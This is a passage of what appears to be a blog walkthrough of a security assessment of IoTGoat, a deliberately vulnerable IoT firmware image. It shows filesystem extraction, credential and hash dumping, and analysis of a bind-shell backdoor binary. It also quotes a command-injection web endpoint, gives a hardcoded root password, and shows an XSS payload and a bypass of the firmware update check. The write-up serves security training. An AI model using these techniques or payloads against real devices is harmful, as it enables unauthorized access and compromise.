Linux</pre><p>The output shows that the image has two partitions: an EXT filesystem and a SquashFS filesystem. The XZ-compressed data is a false positive because Binwalk uses signatures, searching for magic bytes, to identify file types.</p><h4>[Stage 4] Extracting the filesystem</h4><p>This is the step where we look inside firmware and explore the filesystem. Both automated and manual extractions can be used. Using Binwalk is relatively easy since it just requires -e flag and the image. Manual extraction method is as shown:</p><pre>~/IoTGoat_Sec_Assmnt   <br>❯ dd if=IoTGoat-x86.img of=partition1.bin bs=512 skip=512 count=32768<br>32768+0 records in<br>32768+0 records out<br>16777216 bytes (17 MB, 16 MiB) copied, 0.0488574 s, 343 MB/s<br>                                                                                                                    <br>~/IoTGoat_Sec_Assmnt   <br>❯ dd if=IoTGoat-x86.img of=partition2.bin bs=512 skip=33792 count=524288<br>524288+0 records in<br>524288+0 records out<br>268435456 bytes (268 MB, 256 MiB) copied, 0.784105 s, 342 MB/s<br>                                                                                                                    <br>~/IoTGoat_Sec_Assmnt   <br>❯ file partition1.bin      <br>partition1.bin: Linux rev 1.0 ext2 filesystem data, UUID=57f8f4bc-abf4-655f-bf67-946fc0f9f25b (extents) (large files)<br>                                                                                                                    <br>~/IoTGoat_Sec_Assmnt   <br>❯ file partition2.bin <br>partition2.bin: Squashfs filesystem, little endian, version 4.0, xz compressed, 3481630 bytes, 1352 inodes, blocksize: 262144 bytes, created: Wed Jan 30 12:21:02 2019<br><br>~/IoTGoat_Sec_Assmnt   <br>❯ unsquashfs partition2.bin  <br>Parallel unsquashfs: Using 2 processors<br>1246 inodes (1029 blocks) to write<br><br><br>create_inode: could not create character device squashfs-root/dev/console, because you&#39;re not superuser!<br>[================================================================================================| ] 2274/2275  99%<br><br>created 1031 files<br>created 106 directories<br>created 214 symlinks<br>created 0 devices<br>created 0 fifos<br>created 0 sockets<br>created 0 hardlinks<br>                                                                                                                    <br>~/IoTGoat_Sec_Assmnt   <br>❯ ll squashfs-root/   <br>total 60K<br>drwxr-xr-x  2 kali kali 4.0K Jan 30  2019 bin<br>drwxr-xr-x  2 kali kali 4.0K Jan 30  2019 dev<br>-rwxrwxr-x  1 kali kali  797 Jan 30  2019 dnsmasq_setup.sh<br>drwxr-xr-x 18 kali kali 4.0K Jan 30  2019 etc<br>drwxr-xr-x 10 kali kali 4.0K Jan 30  2019 lib<br>drwxr-xr-x  2 kali kali 4.0K Jan 30  2019 mnt<br>drwxr-xr-x  2 kali kali 4.0K Jan 30  2019 overlay<br>drwxr-xr-x  2 kali kali 4.0K Jan 30  2019 proc<br>drwxr-xr-x  2 kali kali 4.0K Jan 30  2019 rom<br>drwxr-xr-x  2 kali kali 4.0K Jan 30  2019 root<br>drwxr-xr-x  2 kali kali 4.0K Jan 30  2019 sbin<br>drwxr-xr-x  2 kali kali 4.0K Jan 30  2019 sys<br>drwxrwxrwt  2 kali kali 4.0K Jan 30  2019 tmp<br>drwxr-xr-x  7 kali kali 4.0K Jan 30  2019 usr<br>lrwxrwxrwx  1 kali kali    3 Jan 30  2019 var -&gt; tmp<br>drwxr-xr-x  4 kali kali 4.0K Jan 30  2019 www</pre><h4>[Stage 5] Analyzing filesystem contents</h4><p>By analyzing the filesystem contents, valuable information, such as credentials, conf files, insecure binaries etc., are gathered.</p><p>Common Binaries:</p><pre>❯ find . -type f | grep -Ei &#39;telnet|dropbear|ssh|ftp|http&#39;<br>./etc/dropbear/dropbear_rsa_host_key<br>./etc/init.d/dropbear<br>./etc/init.d/uhttpd<br>./etc/config/dropbear<br>./etc/config/uhttpd<br>...<br>...<br>./usr/sbin/dropbear<br>./usr/sbin/uhttpd</pre><p>Hardcoded Credentials:</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ grep -RaiE &#39;password|passwd|pwd=|secret|api[_-]?key|private[_-]?key&#39; ./etc 2&gt;/dev/null                          <br>./etc/ppp/chap-secrets:#USERNAME  PROVIDER  PASSWORD  IPADDRESS<br>./etc/profile:There is no root password defined on this device!<br>./etc/profile:Use the &quot;passwd&quot; command to set up a new password<br>./etc/init.d/dropbear:          &#39;PasswordAuth:bool:1&#39; \<br>./etc/init.d/dropbear:          &#39;RootPasswordAuth:bool:1&#39; \<br>./etc/init.d/dropbear:  local PasswordAuth enable Interface GatewayPorts \<br>...<br>...<br>./etc/init.d/uhttpd:    local prefix username password<br>./etc/init.d/uhttpd:    config_get password &quot;$cfg&quot; password<br>...</pre><p>Passwd and Shadow Files:</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ cat ./etc/passwd                      <br>root:x:0:0:root:/root:/bin/ash<br>daemon:*:1:1:daemon:/var:/bin/false<br>ftp:*:55:55:ftp:/home/ftp:/bin/false<br>network:*:101:101:network:/var:/bin/false<br>nobody:*:65534:65534:nobody:/var:/bin/false<br>dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false<br>iotgoatuser:x:1000:1000::/root:/bin/ash<br>                                                                                                                    <br>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ cat ./etc/shadow         <br>root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7:::<br>daemon:*:0:0:99999:7:::<br>ftp:*:0:0:99999:7:::<br>network:*:0:0:99999:7:::<br>nobody:*:0:0:99999:7:::<br>dnsmasq:x:0:0:99999:7:::<br>dnsmasq:x:0:0:99999:7:::<br>iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::</pre><p>Hardcoded Secrets:</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ find . -type f | grep -Ei &#39;pem|db|rsa|key|auth|token|secret|api|id_rsa|passwd|sqlite|mysql&#39; <br>./etc/dropbear/dropbear_rsa_host_key<br>./etc/ppp/chap-secrets<br>./etc/passwd<br>...<br>...<br>./www/luci-static/resources/cbi/key.gif<br>./usr/share/rpcd/acl.d/unauthenticated.json<br>./usr/lib/lua/luci/view/sysauth.htm<br>./usr/lib/lua/luci/view/csrftoken.htm<br>./usr/lib/lua/luci/controller/iotgoat/sensordata.db<br>./usr/lib/opkg/info/openwrt-keyring.list<br>./usr/lib/opkg/info/openwrt-keyring.prerm<br>./usr/lib/opkg/info/openwrt-keyring.control<br>./usr/sbin/opkg-key</pre><p>Init.d scripts</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ ll ./etc/init.d/          <br>total 104K<br>-rwxr-xr-x 1 kali kali 1.1K Jan 30  2019 boot<br>-rwxr-xr-x 1 kali kali  821 Jan 30  2019 cron<br>-rwxr-xr-x 1 kali kali  16K Jan 30  2019 dnsmasq<br>-rwxr-xr-x 1 kali kali  255 Jan 30  2019 done<br>-rwxr-xr-x 1 kali kali 4.9K Jan 30  2019 dropbear<br>-rwxr-xr-x 1 kali kali  997 Jan 30  2019 firewall<br>-rwxr-xr-x 1 kali kali 1013 Jan 30  2019 gpio_switch<br>-rwxr-xr-x 1 kali kali 3.3K Jan 30  2019 led<br>-rwxr-xr-x 1 kali kali 5.7K Jan 30  2019 miniupnpd<br>-rwxr-xr-x 1 kali kali 2.7K Jan 30  2019 network<br>-rwxr-xr-x 1 kali kali  400 Jan 30  2019 rpcd<br>-rw-r--r-- 1 kali kali  666 Jan 30  2019 shellback<br>-rwxr-xr-x 1 kali kali 1.2K Jan 30  2019 sysctl<br>-rwxr-xr-x 1 kali kali  662 Jan 30  2019 sysfixtime<br>-rwxr-xr-x 1 kali kali 2.2K Jan 30  2019 sysntpd<br>-rwxr-xr-x 1 kali kali 1.1K Jan 30  2019 system<br>-rwxr-xr-x 1 kali kali 1.4K Jan 30  2019 ucitrack<br>-rwxr-xr-x 1 kali kali 5.1K Jan 30  2019 uhttpd<br>-rwxr-xr-x 1 kali kali  106 Jan 30  2019 umount<br>-rwxr-xr-x 1 kali kali  239 Jan 30  2019 urandom_seed</pre><p>Unsafe C functions</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ find ./bin ./usr/bin -type f -exec file {} \; 2&gt;/dev/null | grep &#39;ELF&#39;                                                   <br>./bin/ubus: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./bin/uclient-fetch: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./bin/opkg: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./bin/busybox: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./usr/bin/getrandom: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./usr/bin/shellback: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./usr/bin/usign: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./usr/bin/jshn: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./usr/bin/jsonfilter: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./usr/bin/fwtool: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./usr/bin/lua: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>./usr/bin/luci-bwc: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-i386.so.1, no section header<br>                                                                                                                                                                                                                                            <br>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ objdump -T ./bin/busybox | grep -Ei &#39;strcpy|strcat|sprintf|snprintf|gets|scanf|memcpy&#39;<br>00000000      DF *UND*  00000000              strcpy<br>00000000      DF *UND*  00000000              vsprintf<br>00000000      DF *UND*  00000000              getspnam_r<br>00000000      DF *UND*  00000000              snprintf<br>00000000      DF *UND*  00000000              fscanf<br>00000000      DF *UND*  00000000              vsnprintf<br>00000000      DF *UND*  00000000              strcat<br>00000000      DF *UND*  00000000              sscanf<br>00000000      DF *UND*  00000000              getsid<br>00000000      DF *UND*  00000000              getservbyport<br>00000000      DF *UND*  00000000              getservbyname<br>00000000      DF *UND*  00000000              sprintf<br>00000000      DF *UND*  00000000              fgets_unlocked<br>00000000      DF *UND*  00000000              vasprintf<br>00000000      DF *UND*  00000000              getsockname</pre><p>Common command injection vulnerable functions</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ grep -RniE &#39;system\(|popen\(|execve\(|execl\(|execlp\(&#39; .<br>./bin/config_generate:233:generate_static_system() {<br>./usr/lib/lua/luci/tools/status.lua:272:                local swc = io.popen(&quot;swconfig dev %s show&quot;<br>./usr/lib/lua/luci/model/ipkg.lua:133:  local fd = io.popen(table.concat(cmdline, &quot; &quot;))<br>./usr/lib/lua/luci/model/cbi/admin_network/vlan.lua:78:         local swc = io.popen(&quot;swconfig dev %s help 2&gt;/dev/null&quot; % ut.shellquote(switch_name))<br>./usr/lib/lua/luci/model/cbi/admin_system/fstab.lua:10:local block = io.popen(&quot;block info&quot;, &quot;r&quot;)<br>./usr/lib/lua/luci/model/cbi/admin_system/backupfiles.lua:49:           local list = io.popen(<br>./usr/lib/lua/luci/model/cbi/admin_system/fstab/mount.lua:9:local block = io.popen(&quot;block info&quot;, &quot;r&quot;)<br>./usr/lib/lua/luci/sys/iptparser.lua:281:               for i, rule in ipairs(luci.util.execl(self._command % tbl)) do<br>./usr/lib/lua/luci/controller/admin/network.lua:412:            local util = io.popen(cmd % luci.util.shellquote(addr))<br>./usr/lib/lua/luci/controller/admin/status.lua:65:      local bwc = io.popen(&quot;luci-bwc -i %s 2&gt;/dev/null&quot;<br>./usr/lib/lua/luci/controller/admin/status.lua:85:      local bwc = io.popen(&quot;luci-bwc -r %s 2&gt;/dev/null&quot;<br>./usr/lib/lua/luci/controller/admin/status.lua:105:     local bwc = io.popen(&quot;luci-bwc -l 2&gt;/dev/null&quot;)<br>./usr/lib/lua/luci/controller/admin/status.lua:128:     local bwc = io.popen(&quot;luci-bwc -c 2&gt;/dev/null&quot;)<br>./usr/lib/lua/luci/controller/admin/system.lua:305:     local reader = ltn12_popen(&quot;sysupgrade --create-backup - 2&gt;/dev/null&quot;)<br>./usr/lib/lua/luci/controller/admin/system.lua:420:function ltn12_popen(command)<br>./usr/lib/lua/luci/controller/upnp.lua:27:      local ipt = io.popen(&quot;iptables --line-numbers -t nat -xnvL MINIUPNPD 2&gt;/dev/null&quot;)<br>./usr/lib/lua/luci/controller/iotgoat/iotgoat.lua:14:        local fp = io.popen(tostring(cmd)..&quot; 2&gt;&amp;1&quot;)<br>./usr/lib/lua/luci/util.lua:599:        local pp   = io.popen(command)<br>./usr/lib/lua/luci/util.lua:607:        local pp = io.popen(command)<br>./usr/lib/lua/luci/util.lua:621:function execl(command)<br>./usr/lib/lua/luci/util.lua:622:        local pp   = io.popen(command)</pre><p>Using Automated Tool called “Firmwalker”</p><pre>~/IoTGoat_Sec_Assmnt/firmwalker-master   <br>❯ ./firmwalker.sh ../_IoTGoat-x86.img.extracted/squashfs-root ./fwalker_out.txt<br>***Firmware Directory***<br>../_IoTGoat-x86.img.extracted/squashfs-root<br>***Search for password files***<br>##################################### passwd<br>t/etc/passwd<br>t/bin/passwd<br><br>##################################### shadow<br>t/etc/shadow<br><br>##################################### *.psk<br><br>***Search for Unix-MD5 hashes***<br>grep: ../_IoTGoat-x86.img.extracted/squashfs-root/lib/libc.so: binary file matches../_IoTGoat-x86.img.extracted/squashfs-root/etc/shadow.bak:$1$KzoHhzG9$wGyFXbWOcRChy3e.Ep2NY1<br>../_IoTGoat-x86.img.extracted/squashfs-root/etc/shadow:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1<br>../_IoTGoat-x86.img.extracted/squashfs-root/etc/shadow:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.<br><br>***Search for files***<br>##################################### *.conf<br>t/etc/ppp/resolv.conf<br>t/etc/sysctl.d/11-nf-conntrack.conf<br>t/etc/sysctl.d/10-default.conf<br>...<br><br>**Search for shell scripts***<br>##################################### shell scripts<br>t/etc/diag.sh<br>t/dnsmasq_setup.sh<br>t/lib/functions.sh<br>t/lib/functions/preinit.sh<br>t/lib/functions/procd.sh<br>...<br><br>***Search for urls***<br>##################################### urls<br>http://*|\<br>http://192.168.1.1<br>http://bit.ly<br>http://downloads.openwrt.org<br>...</pre><h4><strong>[Stage 5.1] Findings</strong></h4><p><strong>Users and Hashes</strong><br> There are two users which are found on passwd and shadow files: root and iotgoatuser<br> And, /etc/shadow file contains password hashes of root and iotgoatuser that can be cracked by using password cracking tools such as john or hashcat.</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ cat ./etc/shadow <br>root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7:::<br>...<br>iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::<br><br>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ hashid &#39;$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::&#39;<br>Analyzing &#39;$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::&#39;<br>[+] MD5 Crypt <br>[+] Cisco-IOS(MD5) <br>[+] FreeBSD MD5</pre><p><strong>An interesting binary: Shellback</strong></p><p>Shellback binary is not a common binary and it starts up when device is powered on.</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ find . -type f | grep -Ei &#39;shellback&#39;                                 <br>./etc/init.d/shellback<br>./etc/config/shellback<br>./usr/lib/opkg/info/shellback.prerm<br>./usr/lib/opkg/info/shellback.list<br>./usr/lib/opkg/info/shellback.control<br>./usr/bin/shellback<br><br>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ cat ./usr/lib/opkg/info/shellback.*<br>Package: shellback<br>Version: 0.1-1<br>Depends: libc<br>Source: package/network/services/shell<br>License: CC0-1.0<br>Section: utils<br>Maintainer: John Doe &lt;john.doe@example.com&gt;<br>Architecture: i386_pentium4<br>Installed-Size: 1834<br>Description:  This is some dummy application.<br>/etc/init.d/shellback<br>/usr/bin/shellback<br>/etc/config/shellback<br>#!/bin/sh<br>[ -x ${IPKG_INSTROOT}/lib/functions.sh ] || exit 0<br>. ${IPKG_INSTROOT}/lib/functions.sh<br>default_prerm $0 $@<br><br>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ strings -n 6 ./usr/bin/shellback       <br>/lib/ld-musl-i386.so.1<br>libgcc_s.so.1<br>__register_frame_info_bases<br>__deregister_frame_info_bases<br>libc.so<br>execve<br>accept<br>listen<br>socket<br>__libc_start_main<br>_edata<br>__bss_start<br>_start_c<br>GCC_3.0<br>tBQj7h<br>[***]Successfully Connected to IoTGoat&#39;s Backdoor[***]<br>/bin/busybox</pre><p><strong>Sensor database file</strong></p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   130s<br>❯ file ./usr/lib/lua/luci/controller/iotgoat/sensordata.db<br>./usr/lib/lua/luci/controller/iotgoat/sensordata.db: SQLite 3.x database, last written using SQLite version 3024000, file counter 2, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 2<br>                                                                                                                                                                                                                                            <br>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ sqlite3 ./usr/lib/lua/luci/controller/iotgoat/sensordata.db <br>SQLite version 3.46.1 2024-08-13 09:16:08<br>Enter &quot;.help&quot; for usage hints.<br>sqlite&gt; .tables<br>sensors<br>sqlite&gt; pragma table_info(sensors)<br>   ...&gt; ;<br>0|id|INTEGER|0||1<br>1|temperature|NUMERIC|0||0<br>2|humidity|NUMERIC|0||0<br>3|currentdate|DATE|0||0<br>4|currentime|TIME|0||0<br>5|name|TEXT|0||0<br>6|email|TEXT|0||0<br>7|birthdate|NUMERIC|0||0<br>sqlite&gt; select * from sensors;<br>1|22.4|68|2020-03-24|18:56:33|johnsmith|johnsmith@gmail.com|1311977<br>2|29.7|98|2020-03-24|18:56:43|jillsmith|jillsmith@gmail.com|4141979<br>3|31.2|28|2020-03-24|18:57:05|walter|waltergary@yopmail.com|32821969<br>4|16.9|38|2020-03-24|18:57:20|WilliamRonald|billronald@yopmail.com|11141989<br>5|35|78|2020-03-24|18:58:04|Test|TstUser@aol.com|12121990<br>6|35|88|2020-03-24|18:58:18|Sgt|sgtmajor@us.gov|10171956</pre><p><strong>Web Application</strong></p><pre>```<br>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ tree -d ./www<br>./www<br>├── cgi-bin<br>└── luci-static<br>    ├── bootstrap<br>    └── resources<br>        ├── cbi<br>        └── icons</pre><p>LuCI (Lua Configuration Interface) is a web-based admin interface for hardware uses OpenWRT. This device uses OpenWrt’s web server, uhttpd.</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ ll ./usr/lib/lua/luci/controller/iotgoat             <br>total 16K<br>-rw-r--r-- 1 kali kali 810 Jan 30  2019 iotgoat.lua<br>-rwxrwxr-x 1 kali kali 12K Jan 30  2019 sensordata.db<br><br>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ cat ./usr/lib/lua/luci/controller/iotgoat/iotgoat.lua <br>module(&quot;luci.controller.iotgoat.iotgoat&quot;, package.seeall)<br>local http = require(&quot;luci.http&quot;)<br>function index()<br>    entry({&quot;admin&quot;, &quot;iotgoat&quot;}, firstchild(), &quot;IoTGoat&quot;, 60).dependent=false<br>    entry({&quot;admin&quot;, &quot;iotgoat&quot;, &quot;cmdinject&quot;}, template(&quot;iotgoat/cmd&quot;), &quot;&quot;, 1)<br>    entry({&quot;admin&quot;, &quot;iotgoat&quot;, &quot;cam&quot;}, template(&quot;iotgoat/camera&quot;), &quot;Camera&quot;, 2)<br>    entry({&quot;admin&quot;, &quot;iotgoat&quot;, &quot;door&quot;}, template(&quot;iotgoat/door&quot;), &quot;Doorlock&quot;, 3)<br>    entry({&quot;admin&quot;, &quot;iotgoat&quot;, &quot;webcmd&quot;}, call(&quot;webcmd&quot;))<br>end<br><br>function webcmd()<br>    local cmd = http.formvalue(&quot;cmd&quot;)<br>    if cmd then<br>        local fp = io.popen(tostring(cmd)..&quot; 2&gt;&amp;1&quot;)<br>        local result =  fp:read(&quot;*a&quot;)<br>        fp:close()<br>        result = result:gsub(&quot;&lt;&quot;, &quot;&amp;lt;&quot;)<br>        http.write(tostring(result))<br>    else<br>        http.write_json(http.formvalue())<br>    end<br>end</pre><p><strong>Reverse Engineering “Shellback” binary using Ghidra</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*-BkWvfpIeICeC9HB6Kqn9Q.png" /></figure><p>The main() function of Shellback binary is basically a bind shell that opens a TCP port and accepts incoming connection.<br> This function is similar to reverse shell (Ref: <a href="https://omergnscr.medium.com/simple-reverse-shell-in-c-be1c2f8a40b8">https://omergnscr.medium.com/simple-reverse-shell-in-c-be1c2f8a40b8</a>) but it does not connect itself to other machines, instead it listens for other machines to connect itself. After setting all the required socket programming parameters, such as Port 0x158b = 5515 , it executes ‘busybox’ and executes commands that are received from connection.</p><p><strong>Web Page Authentication Mechanism</strong></p><p>To understand how LuCi handles authentication and login process, couple of files were examined. Analyzing the web server on TCP Port 80, login parameters are found as luci_username and luci_password. Using linux command grep to find where those parameters are, is initial step to understand authentication. There were two files in which that two parameters are found; sysauth.htm and dispatcher.lua</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ grep -RniE &#39;luci_username|luci_password&#39; ./ 2&gt;/dev/null                                       <br>./usr/lib/lua/luci/view/sysauth.htm:25:                                 &lt;input class=&quot;cbi-input-text&quot; type=&quot;text&quot; name=&quot;luci_username&quot; value=&quot;&lt;%=duser%&gt;&quot; /&gt;<br>./usr/lib/lua/luci/view/sysauth.htm:31:                                 &lt;input class=&quot;cbi-input-text&quot; type=&quot;password&quot; name=&quot;luci_password&quot; /&gt;<br>./usr/lib/lua/luci/view/sysauth.htm:43: var input = document.getElementsByName(&#39;luci_password&#39;)[0];<br>./usr/lib/lua/luci/dispatcher.lua:412:                          user = http.formvalue(&quot;luci_username&quot;)<br>./usr/lib/lua/luci/dispatcher.lua:413:                          pass = http.formvalue(&quot;luci_password&quot;)<br><br>~/IoTGoat_Sec_Assmnt/squashfs-root<br>❯ cat ./usr/lib/lua/luci/sys.lua<br>...<br>function user.checkpasswd(username, pass)<br>        local pwh, pwe = user.getpasswd(username)<br>        if pwe then<br>                return (pwh == nil or nixio.crypt(pass, pwh) == pwh)<br>        end<br>        return false<br>end<br><br>function user.setpasswd(username, password)<br>        return os.execute(&quot;(echo %s; sleep 1; echo %s) | passwd %s &gt;/dev/null 2&gt;&amp;1&quot; %{<br>                luci.util.shellquote(password),<br>                luci.util.shellquote(password),<br>                luci.util.shellquote(username)<br>        })<br>end<br>...</pre><p>Function compares the stored password hash and submitted password’ hash using nixio.crypt(). LucI hashes the submitted password and compares it with the stored hash in /etc/shadow.</p><h4><strong>[Stage 6] Emulating firmware</strong></h4><p>A full firmware or part of it, such as binaries, can be emulated to identify potential vulnerabilities. To emulate a firmware, there a few methods like shown:</p><ol><li>Partial Emulation (User-mode Emulation)</li><li>Full System Emulation</li><li>Emulation using a real device</li></ol><p><strong>[Stage 6.1] Partial Emulation (User-mode Emulation)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4kSu1ZFpa4T2TGSCAaK0vw.png" /></figure><p>Emulating a single binary, Shellback, to understand what this binary does.</p><p><strong>[Stage 6.2] Full System Emulation</strong></p><p>Full system can be run by configuring VirtualBox as such:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S-FPh7t-beXdVDV30S175w.png" /></figure><h4>[Stage 7] Dynamic analysis</h4><p><strong>Network Enumeration</strong></p><p>Using nmap tool to identify open ports and running services on IoTGoat.</p><pre>❯ nmap -p- -v -sV 192.168.100.6 -oG network_enum.txt<br>...<br>Scanning 192.168.100.6 [65535 ports]<br>Discovered open port 80/tcp on 192.168.100.6<br>Discovered open port 443/tcp on 192.168.100.6<br>Discovered open port 53/tcp on 192.168.100.6<br>Discovered open port 22/tcp on 192.168.100.6<br>Discovered open port 5515/tcp on 192.168.100.6<br>Discovered open port 65534/tcp on 192.168.100.6<br>...<br>PORT      STATE SERVICE    VERSION<br>22/tcp    open  ssh        Dropbear sshd (protocol 2.0)<br>53/tcp    open  domain     dnsmasq 2.73<br>80/tcp    open  http       LuCI Lua http config<br>443/tcp   open  ssl/https?<br>5515/tcp  open  unknown<br>65534/tcp open  telnet     BusyBox telnetd</pre><p><strong>Port 22: SSH</strong></p><p>After discovering that TCP port 22 is open and having discovered the iotgoatuser and root’s password hashes, logging in with using password is possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*kTCTWH7E0bwN-InKewf1HA.png" /><figcaption>Cracking iotgoatuser hash using Mirai wordlist</figcaption></figure><p>User iotgoatuser’s password is cracked using mirai_botnet wordlist. User root’s plaintext password could not recovered using rockyou and mirai wordlists.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*QVcVOnKo3Bq7N-AauTaoHg.png" /></figure><p><strong>Port 65534 — Telnet</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gsYxJZ2B_WYjZuELPs-M6g.png" /></figure><p>Logging in as iotgoatuser welcomes us with a command-line.</p><p><strong>Port 80 and 443 — Web Server</strong></p><p>From Stage 5, ./usr/lib/lua/luci/controller/iotgoat/iotgoat.lua file reveals that there are some hidden directories/pages/endpoints.</p><pre>function index()<br>     entry({&quot;admin&quot;, &quot;iotgoat&quot;}, firstchild(), &quot;IoTGoat&quot;, 60).dependent=false<br>     entry({&quot;admin&quot;, &quot;iotgoat&quot;, &quot;cmdinject&quot;}, template(&quot;iotgoat/cmd&quot;), &quot;&quot;, 1)<br>     entry({&quot;admin&quot;, &quot;iotgoat&quot;, &quot;cam&quot;}, template(&quot;iotgoat/camera&quot;), &quot;Camera&quot;, 2)<br>     entry({&quot;admin&quot;, &quot;iotgoat&quot;, &quot;door&quot;}, template(&quot;iotgoat/door&quot;), &quot;Doorlock&quot;, 3)<br>     entry({&quot;admin&quot;, &quot;iotgoat&quot;, &quot;webcmd&quot;}, call(&quot;webcmd&quot;))</pre><p>By simply visiting this directories shows us hidden functions of this webserver.</p><p>Besides, password of root could not be found by cracking the has but visiting IoTGoat’s wiki page reveals the root’s password: iotgoathardcodedpassword</p><p>cmdinject endpoint is a secret web page that executes commands as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z-fARA2MhwAHVM0WIXk4fA.png" /></figure><p><strong>XSS</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*QbFKIvW2pN6xk5KPFJPpmw.png" /></figure><p>Modifying the ESSID name to XSS payload, the pages that renders ESSID could be exposed to Cross-Site Scripting attack. A simple payload can be used such as: img src=x onerror=alert(123)&gt;</p><p>By simply navigating around, pages that renders ESSID can be found such as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*3K7Kk-4FtoXgEnkuvOYzWg.png" /></figure><p><strong>Lack of Secure Update Mechanism</strong></p><p>The firmware update mechanism was examined to see if modified firmware image could be accepted and installed to device. Files which are examined are /sbin/sysupgrade and /lib/upgrade/fwtool.sh</p><p>The fwtool_check_image() function checks whether firmware metadata exists and whether the image supports the current device. However, REQUIRE_IMAGE_METADATA is not set in the firmware, so an image without metadata can still pass this check.</p><pre>~/IoTGoat_Sec_Assmnt/squashfs-root   <br>❯ cat ./lib/upgrade/fwtool.sh                                  <br>fwtool_check_image() {<br>        [ $# -gt 1 ] &amp;&amp; return 1<br><br>        . /usr/share/libubox/jshn.sh<br><br>        if ! fwtool -q -i /tmp/sysupgrade.meta &quot;$1&quot;; then<br>                echo &quot;Image metadata not found&quot;<br>                [ &quot;$REQUIRE_IMAGE_METADATA&quot; = 1 -a &quot;$FORCE&quot; != 1 ] &amp;&amp; {<br>                        echo &quot;Use sysupgrade -F to override this check when downgrading or flashing to vendor firmware&quot;<br>                }<br>                [ &quot;$REQUIRE_IMAGE_METADATA&quot; = 1 ] &amp;&amp; return 1<br>                return 0<br>        fi</pre><p>To test this, original image was first tested:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*vuuqOcnz9a6bu_CQQY25xw.png" /></figure><p>Then, the modified image was tested:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*eD-oh1eT05gm90ys8Awq0g.png" /></figure><p>The command also returned 0 which means that image passed the validation process.</p><p>As a PoC, just created a test.txt file that contains Hello-World in root filesystem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UsnvCuB_ZzYr0aiB5IwldQ.gif" /></figure><h4>[Stage 8] Runtime analysis</h4><p>The BusyBox binary was selected for basic runtime analysis because it was identified as a commonly used firmware binary during the filesystem analysis.</p><p>This binary was executed using QEMU user-mode with syscall tracing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1s9CIE1pAv5A0rDVYoOeKQ.png" /></figure><p>Trace shows shared libraries, UID operations, open(), getdents64() and lstat64() system calls.</p><p><a 